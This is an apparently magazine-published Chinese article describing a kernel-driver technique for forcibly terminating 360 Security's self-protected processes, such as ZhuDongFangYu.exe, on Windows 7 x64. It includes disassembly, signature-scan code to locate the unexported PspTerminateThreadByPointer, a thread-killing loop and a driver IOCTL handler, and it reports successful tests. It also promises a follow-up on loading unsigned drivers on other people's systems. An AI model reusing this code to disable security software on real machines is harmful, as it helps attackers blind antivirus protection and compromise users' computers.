彻底废除Win64上360 的进程自我保护
前置知识:VC
关键词:360,废除,Win64
图文 胡文亮
原文再续,书接上回。上回我分析了360在Win64上实现自我保护的方法,并提出了用户态使用EnumWindows和PostMessage来突破它的自我保护。不过我也说到,尽管这种窗口攻击的方法能让360的安全防护作用完全消失,但是拿没有窗口的ZhuDongFangYu.exe没有办法。今天就提出一种方法,让这个可恶的ZhuDongFangYu.exe彻底消失。
由于360在Win64上的自我保护是采用微软的官方解决方案,而这套官方机制仅仅能监视系统中句柄的变化。所以我们在结束360进程的时候不能使用句柄。不使用句柄杀进程,除了窗口攻击,在Ring 3还真的没有什么办法了。所以我们只能通过驱动来实现了。
首先用Stud_PE观察Windows 7 x64的ntoskrnl.exe的导出表,发现导出的函数跟Windows XP x86没有什么大区别。于是决定采用老方法,通过导出的PsTerminateSystemThread动态定位未导出的PspTerminateThreadByPointer。再用PspTerminateThreadByPointer依次结束ZhuDongFangYu.exe的每一个线程。不过话说得简单,做起来就不太简单了,实现起来还是蛮花费功夫的。
首先对PsTerminateSystemThread进行反汇编:
lkd> uf PsTerminateSystemThread nt!PsTerminateSystemThread: fffff800`03f65860 4883ec28 sub rsp,28h fffff800`03f65864 8bd1 mov edx,ecx fffff800`03f65866 65488b0c2588010000 mov rcx,qword ptr gs:[188h] fffff800`03f6586f f6814804000010 test byte ptr [rcx+448h],10h fffff800`03f65876 0f8485cd0200 je nt! ?? ::NNGAKEGL:: `string'+0x29eb0 (fffff800`03f92601) nt!PsTerminateSystemThread+0x1c: fffff800`03f6587c 41b001 mov r8b,1 fffff800`03f6587f e8d0590500 call nt!PspTerminateThread ByPointer (fffff800`03fbb254) fffff800`03f65884 90 nop fffff800`03f65885 e97ccd0200 jmp nt! ?? ::NNGAKEGL:: `string'+0x29eb5 (fffff800`03f92606) nt! ?? ::NNGAKEGL::`string'+0x29eb0: fffff800`03f92601 b80d0000c0 mov eax,0C000000Dh nt! ?? ::NNGAKEGL::`string'+0x29eb5: fffff800`03f92606 4883c428 add rsp,28h fffff800`03f9260a c3 ret
注意该程序的第14和第15那两行,除了告诉我们PsTerminateSystem Thread调用了PspTerminateThreadBy Pointer外,还提示了一个重要的信息:在Windows 7 x64上的PspTerminateThreadByPointer有三个参数,不同于Windows XP x86上的PspTerminateThreadByPointer只有两个参数。因为根据Win64上的__fastcall调用约定,函数的前四个参数分别放在rcx、rdx、r8、r9里(r8b是一个新增加的寄存器,长度为1字节,是r8的低8位),从第五个参数开始才放在堆栈里。然后查了一下WRK,估计它的原型是:
typedef NTSTATUS (__fastcall *PSPTERMINATETHREADBYPOINTER) ( IN PETHREAD Thread, IN NTSTATUS ExitStatus, IN BOOLEAN DirectTerminate ); PSPTERMINATETHREADBYPOINTER PspTerminateThreadBy Pointer=NULL;
根据反汇编代码可以看出PspTerminateThreadByPointer的特征码是01e8,于是有了以下代码:
ULONG32 callcode=0; ULONG64 AddressOfPspTTBP=0, AddressOfPsTST=0, i=0; if(PspTerminateThreadByPointer==NULL) { AddressOfPsTST=(ULONG64)GetFunctionAddr(L"Ps TerminateSystemThread"); if(AddressOfPsTST==0) return STATUS_UNSUCCESSFUL; for(i=1;i<0xff;i++) { if(MmIsAddressValid((PVOID)(AddressOfPs TST +i))!=FALSE) { if(*(BYTE *)(AddressOfPsTST+i)==0x01 && *(BYTE *)(AddressOfPsTST+i+1)==0xe8) { RtlMoveMemory(&callcode,(PVOID) (AddressOfPsTST+i+2),4); AddressOfPspTTBP=(ULONG64)callcode + 5 + AddressOfPsTST+i+1; } } } PspTerminateThreadByPointer=(PSPTERMINATETH READBYPOINTER)AddressOfPspTTBP; }
接下来就是调用PspTerminateThreadByPointer干掉制定进程的所有线程即可。我的办法是用PsLookupThreadByThreadId查询0x4至0x40000之间所有能被4整除的数字,如果查询成功,就使用IoThreadToProcess得到此线程所属的进程。如果它是属于要干掉的进程,就调用PspTerminateThreadByPointer结束之,否则不做处理。另外要注意的是,凡是Lookup,必需Dereference,否则在某些时候会造成蓝屏的后果。代码如下:
PETHREAD Thread=NULL; PEPROCESS tProcess=NULL; NTSTATUS status=0; for(i=4;i<0x40000;i+=4) { status=PsLookupThreadByThreadId((HANDLE)i, &Thread); if(NT_SUCCESS(status)) { tProcess=IoThreadToProcess(Thread); if(tProcess==Process) PspTerminateThreadByPointer(Thread,0,1); ObDereferenceObject(Thread); } }
驱动部分基本写好了,最后在分发函数里获得PID,并通过PID得到EPROCESS再调用HwlTerminateProcess64即可(以上两段代码是为了讲解方便才分开的,实际上它们在一个函数里):
case IOCTL_PsKillProcess64: { try { memcpy(&idTarget,pIoBuffer,sizeof(idTarget)); DbgPrint("[x64Drv] PID: %ld",idTarget); status=PsLookupProcessByProcessId((HANDLE) idTarget, &epTarget); if(!NT_SUCCESS(status)) { DbgPrint("[x64Drv] Cannot get target! Status: %x.",status); break; } else { DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx", (ULONG64)epTarget); HwlTerminateProcess64(epTarget); ObDereferenceObject(epTarget); } } __except(EXCEPTION_EXECUTE_HANDLER) { ; } break; }
把驱动和应用程序编译后,放在安装了360 8.0正式版的虚拟机上(要打开测试签名模式)。给驱动添加测试签名后,加载驱动。在加载驱动时没有受到360的任何阻拦,即使已经开启了所谓的“驱动防火墙”。输入ZhuDongFangYu.exe的PID,大概过了20秒,ZhuDongFangYu.exe就退出了。在测试例如360safe.exe之类的GUI进程,也可以结束(这个就很快,不到1秒),不过在360safe.exe结束时,会出现一个错误提示框(顺便讽刺一下360骗人,在弹出这个对话框时,360safe.exe已经完蛋了,而不是提示上说的“即将关闭”),如图1所示。
图1
这个提示框由360的DumpUper.exe弹出,如图2所示。
图2
如果先结束了360tray.exe再结束360safe.exe,就不会弹出这个提示框了。不过如果结束360tray.exe,会出现一个有趣的现象。就是在大约30秒内,你打开任何GUI程序都无法出现界面,即使这个GUI程序的进程已经创建。在测试7.7正式版时,我估计360的程序员貌似忘记注释掉了一段DbgPrint,发现有新进程创建时,DebugView会输出“某程序创建某进程”之类的字符串。目前来说在Win64上不可能通过Hook NtCreateSection之类的手段来实现,唯一的可能就是注册了一个进程回调。也就是说,360的驱动在等待360tray.exe对新创建的进程做出反应,如果等待超时,就自作主张,同意新创建的进程运行。
到此为止,我对360在Win64上自我保护的分析就结束了。由于一般电脑安装不了Win64虚拟机(需要硬件虚拟化技术支持),所以我录制一段视频给大家看。可以看出,微软提供的标准进程保护方法很脆弱,根本经不起实战的检验。我现在认为,进程自我保护是没有任何作用的,发在论坛上娱乐众人尚可,用在正规软件里就没有必要了。本人用的安全辅助类软件是QQ管家,以前也用过金山卫士,这两款软件在Win64上都没有使用任何进程自我保护手段。可我始终不明白,为什么360麾下的那群所谓的“驱动高手”就想不明白这个道理呢?另外还有一点,我刚才也说过了,在Win64上加载驱动时,360没有拦截。这就为我们在Win64上使用驱动对抗360降低了难度(大家都知道,360比微软难缠多了)。至于如何在【别人的】Win64系统上加载没有签名的驱动,我还会写另外一篇文章来详细描述。请大家继续支持我的文章,支持黑客防线。
(编辑提醒:本文涉及的代码可以到黑防官方网站下载)